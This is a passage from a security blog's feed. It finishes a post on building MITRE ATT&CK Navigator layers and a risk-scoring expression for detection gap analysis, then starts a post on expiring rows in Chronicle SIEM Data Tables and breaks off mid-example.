<li><code>metadata</code> (array): Custom key-value fields for structured data like <code>context</code>, <code>test_coverage</code>, or <code>false_positive_rate</code>.</li>
<li><code>links</code> (array): URLs to detection-as-code, playbooks, or other resources.</li>
<li><code>enabled</code>, <code>showSubtechniques</code> (booleans): Control the display behavior in Navigator.</li>
</ul>
<p>For example, you could map your internal rule maturity scale to a <code>1-5</code> score and use the gradient to highlight low-maturity areas in red and high-maturity areas in green. 💡</p>
</section>
</section>
<section id="automation-a-base-layer-template" class="level2">
<h2 class="anchored" data-anchor-id="automation-a-base-layer-template">Automation: A Base Layer Template</h2>
<p>Automating layer generation allows any automation pipeline to emit a consistent JSON artifact for specific rulesets. A minimal template for the root object looks like the next listing—note that the <code>techniques</code> array is empty here:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb2-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb2-2">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"name"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Logs"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-3">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"versions"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"attack"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"18.1"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"navigator"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"5.2.0"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"layer"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"4.5"</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">},</span></span>
<span id="cb2-4">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"domain"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"enterprise-attack"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-5">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"description"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Example layer for SIEM detections."</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-6">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"filters"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"platforms"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Windows"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Linux"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"macOS"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Network Devices"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"ESXi"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"PRE"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Containers"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"IaaS"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"SaaS"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Office Suite"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Identity Provider"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">},</span></span>
<span id="cb2-7">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"layout"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"layout"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"side"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"showName"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"showID"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"showAggregateScores"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"countUnscored"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"aggregateFunction"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"average"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"expandedSubtechniques"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"annotated"</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">},</span></span>
<span id="cb2-8">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"showTacticRowBackground"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-9">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"tacticRowBackground"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#2f0549"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-10">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"gradient"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"colors"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#D62D20"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#FFA700"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"#008744"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"minValue"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"maxValue"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">},</span></span>
<span id="cb2-11">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"techniques"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-12">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"links"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-13">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"legendItems"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-14">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"metadata"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-15">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"selectTechniquesAcrossTactics"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-16">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"selectSubtechniquesWithParent"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb2-17">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"selectVisibleTechniques"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span></span>
<span id="cb2-18"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>Focus on programmatically populating the <code>techniques</code> array. This is what turns your detection list into a visualization-ready artifact.</p>
</div>
</div>
</section>
<section id="example-technique-object" class="level2">
<h2 class="anchored" data-anchor-id="example-technique-object">Example Technique Object</h2>
<p>The next listing has a concrete example of a single technique object you would append to the <code>techniques</code> array in the base JSON.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb3-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-2">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"techniqueID"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"T1078"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-3">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"tactic"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"initial-access"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-4">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"score"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-5">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"comment"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Rule: aws_cloudtrail_trail_stopped"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-6">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"metadata"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span></span>
<span id="cb3-7">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"name"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"aws_cloudtrail_trail_stopped"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"value"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Maturity: 2</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">Description: A CloudTrail audit trail was stopped"</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb3-8">  <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-9">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"links"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span></span>
<span id="cb3-10">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"label"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Source Code"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"url"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://github.com/lopes/detections/blob/main/rules/aws_cloudtrail_trail_stopped.yaml"</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb3-11">  <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-12">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"enabled"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb3-13">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"showSubtechniques"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">false</span></span>
<span id="cb3-14"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Notes:</p>
<ul>
<li>If a rule applies to multiple techniques, create one object per technique.</li>
<li>If a detection for a technique is only relevant in a specific tactic, set the <code>tactic</code> field.</li>
<li>Keep <code>metadata</code> structured for easier filtering and automation later.</li>
</ul>
</section>
<section id="combining-layers-with-expressions" class="level2">
<h2 class="anchored" data-anchor-id="combining-layers-with-expressions">Combining Layers with Expressions</h2>
<p>Export defensive layers per engine (e.g., SIEM, EDR) and offensive layers per adversary or CTI feed. Load them into Navigator and use the <strong>Create Layer from Other Layers</strong> feature to compute a composite heatmap.</p>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>All layers being combined must target the same ATT&amp;CK version and domain.</p>
</div>
</div>
<p>Navigator assigns letters (<code>a</code>, <code>b</code>, <code>c</code>, …) to each loaded layer, which you can use in a scoring expression. The goal is to create a formula that highlights the most critical gaps. A simple mental model is:</p>
<ul>
<li><strong>High Risk (Red):</strong> A technique is used by adversaries, but your detection for it is weak or non-existent.</li>
<li><strong>Low Risk (Green):</strong> A technique is well-covered by your detections, or it is not used by relevant adversaries.</li>
</ul>
<p>The following expression calculates a risk score from 1 (high risk) to 5 (low risk), assuming your input layers also use a <code>1-5</code> scale (1 = weak/low, 5 = strong/high). It considers two defense layers (<code>a</code>, <code>b</code>) and two offense layers (<code>c</code>, <code>d</code>).</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode js code-with-copy"><code class="sourceCode javascript"><span id="cb4-1"><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> (<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> (<span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">max</span>((c <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> (d <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span>) <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> (<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">min</span>((a <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> (b <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span>)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">/</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span>))))</span></code></pre></div></div>
<p>This formula is designed to be conservative:</p>
<ul>
<li>It takes the <strong>highest</strong> threat score (<code>max(c, d)</code>), representing the most capable adversary.</li>
<li>It takes the <strong>lowest</strong> defense score (<code>min(a, b)</code>), representing your weakest link.</li>
<li>It avoids extreme highs and lows, centering most results in the <code>2-4</code> “warning” range. This creates a heatmap that flags areas for review without causing undue alarm, signaling <em>“work to be done”</em> rather than <em>“everything is on fire.”</em></li>
</ul>
<p>A notable limitation in Navigator is that while scores can be combined, metadata from the source layers (like comments and links) cannot be merged. You must choose one of the base layers to provide the context for the new composite layer.</p>
</section>
<section id="practical-recommendations" class="level2">
<h2 class="anchored" data-anchor-id="practical-recommendations">Practical Recommendations</h2>
<ul>
<li><strong>Enrich every technique entry</strong> with structured metadata (<code>rule_name</code>, <code>adversary</code>, <code>description</code>) so the Navigator matrix becomes a live engineering backlog.</li>
<li><strong>Version your layers</strong> and store them in a repository alongside your detection-as-code to enable historical comparisons.</li>
<li><strong>Treat ATT&amp;CK layers as decision support</strong>, not absolute truth. Combine Navigator outputs with telemetry-based risk scoring and business impact to prioritize work.</li>
<li><strong>Automate testing</strong> and include outcomes (e.g., pass/fail, false positive rate) in technique metadata. This lets you filter for untested or failing detections directly in Navigator.</li>
</ul>
<div class="callout callout-style-default callout-tip callout-titled">
<div class="callout-header d-flex align-content-center">
<div class="callout-icon-container">
<i class="callout-icon"></i>
</div>
<div class="callout-title-container flex-fill">
Tip
</div>
</div>
<div class="callout-body-container callout-body">
<p>If you have a <strong>good</strong> Detection-as-Code system in place, you’re using a YAML-like format to describe your rules, and all of them are mapped with MITRE ATT&amp;CK. In this case, you can quite easily write a script to plot a MITRE Navigator layer based on your rules.</p>
</div>
</div>
</section>
<section id="conclusion" class="level2">
<h2 class="anchored" data-anchor-id="conclusion">Conclusion</h2>
<p><strong>MITRE ATT&amp;CK</strong> only becomes truly valuable when it informs decisions. By programmatically generating <strong>MITRE Navigator</strong> layers based on your rules and your adversaries, with enriched, actionable metadata, you can turn a simple taxonomy into a prioritized action plan for your security program.</p>
<p>Navigator is simple and flexible, but it expects you to provide the context, as with any MITRE ATT&amp;CK-based analysis. That’s where automation and thoughtful metadata design make all the difference. 🧭🚀</p>


</section>

<div id="quarto-appendix" class="default"><section class="quarto-appendix-contents" id="quarto-reuse"><h2 class="anchored quarto-appendix-heading">Reuse</h2><div class="quarto-appendix-contents"><div><a rel="license" href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a></div></div></section><section class="quarto-appendix-contents" id="quarto-citation"><h2 class="anchored quarto-appendix-heading">Citation</h2><div><div class="quarto-appendix-secondary-label">BibTeX citation:</div><pre class="sourceCode code-with-copy quarto-appendix-bibtex"><code class="sourceCode bibtex">@online{lopes2025,
  author = {Lopes, Joe},
  title = {Gap {Analysis} with {MITRE} {Navigator}},
  date = {2025-12-10},
  url = {https://lopes.id/log/gap-analysis-mitre-navigator/},
  langid = {en}
}
</code></pre><div class="quarto-appendix-secondary-label">For attribution, please cite this work as:</div><div id="ref-lopes2025" class="csl-entry quarto-appendix-citeas">
Lopes, Joe. 2025. <span>“Gap Analysis with MITRE Navigator.”</span>
December 10. <a href="https://lopes.id/log/gap-analysis-mitre-navigator/">https://lopes.id/log/gap-analysis-mitre-navigator/</a>.
</div></div></section></div> ]]></description>
  <category>intel</category>
  <category>detection</category>
  <guid>https://lopes.id/log/gap-analysis-mitre-navigator/</guid>
  <pubDate>Wed, 10 Dec 2025 00:00:00 GMT</pubDate>
  <media:content url="https://lopes.id/log/gap-analysis-mitre-navigator/og-gap-analysis-mitre-navigator.webp" medium="image" type="image/webp"/>
</item>
<item>
  <title>Auto-Cleaning Data Tables in Chronicle SIEM</title>
  <dc:creator>Joe Lopes</dc:creator>
  <link>https://lopes.id/log/chronicle-siem-table-cleaning/</link>
  <description><![CDATA[ 






<p>Last year, I shared <a href="../../log/chronicle-siem-list-cleaning/">the approach</a> 🔗 I developed to keep <strong>Reference Lists</strong> sanitized in <strong>Chronicle SIEM</strong> (currently <strong>Google SecOps</strong>). That script helped my team keep our detection rules under management by simply adding an expiration date to certain rows. However, due to recent changes, Google is in the process of deprecating Reference Lists in favor of <strong>Data Tables</strong>.</p>
<p>In this post, I’ll share my approach to add the “expiration rows” feature to Data Tables. Here, I’ll share some <strong>pain points</strong> and <strong>insights</strong> regarding its implementation.</p>
<section id="data-tables-a-more-robust-approach" class="level2">
<h2 class="anchored" data-anchor-id="data-tables-a-more-robust-approach">Data Tables: A More Robust Approach</h2>
<p>Data Tables are a more robust approach to listing items in Chronicle but naturally have different means of interaction. <strong>API-wise</strong>, there’s a new set of endpoints, all of them in <code>v1alpha</code>, that we can leverage to systematically interact with these tables.</p>
<p>Data Tables allow users to manage a list of entities that can be reused across different detection rules and can also be used to <strong>enrich logs</strong>, providing more context about them.</p>
<p>Under the hood, a Data Table looks like the next code listing.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb1-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-2">  <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"dataTableRows"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span></span>
<span id="cb1-3">    <span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb1-4">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"name"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"projects/&lt;PROJECT_ID&gt;/locations/&lt;LOCATION_CODE&gt;/instances/&lt;INSTANCE_ID&gt;/dataTables/&lt;TABLE_NAME&gt;/dataTableRows/&lt;HASH&gt;"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb1-5">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"values"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">[</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"col1-val"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"col2-val"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"col3-val"</span><span class="ot" style="color: #003B4F;
background-color: null;
font-style: inherit;">]</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb1-6">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"createTime"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"2025-11-01T10:08:13.302177Z"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb1-7">      <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"updateTime"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
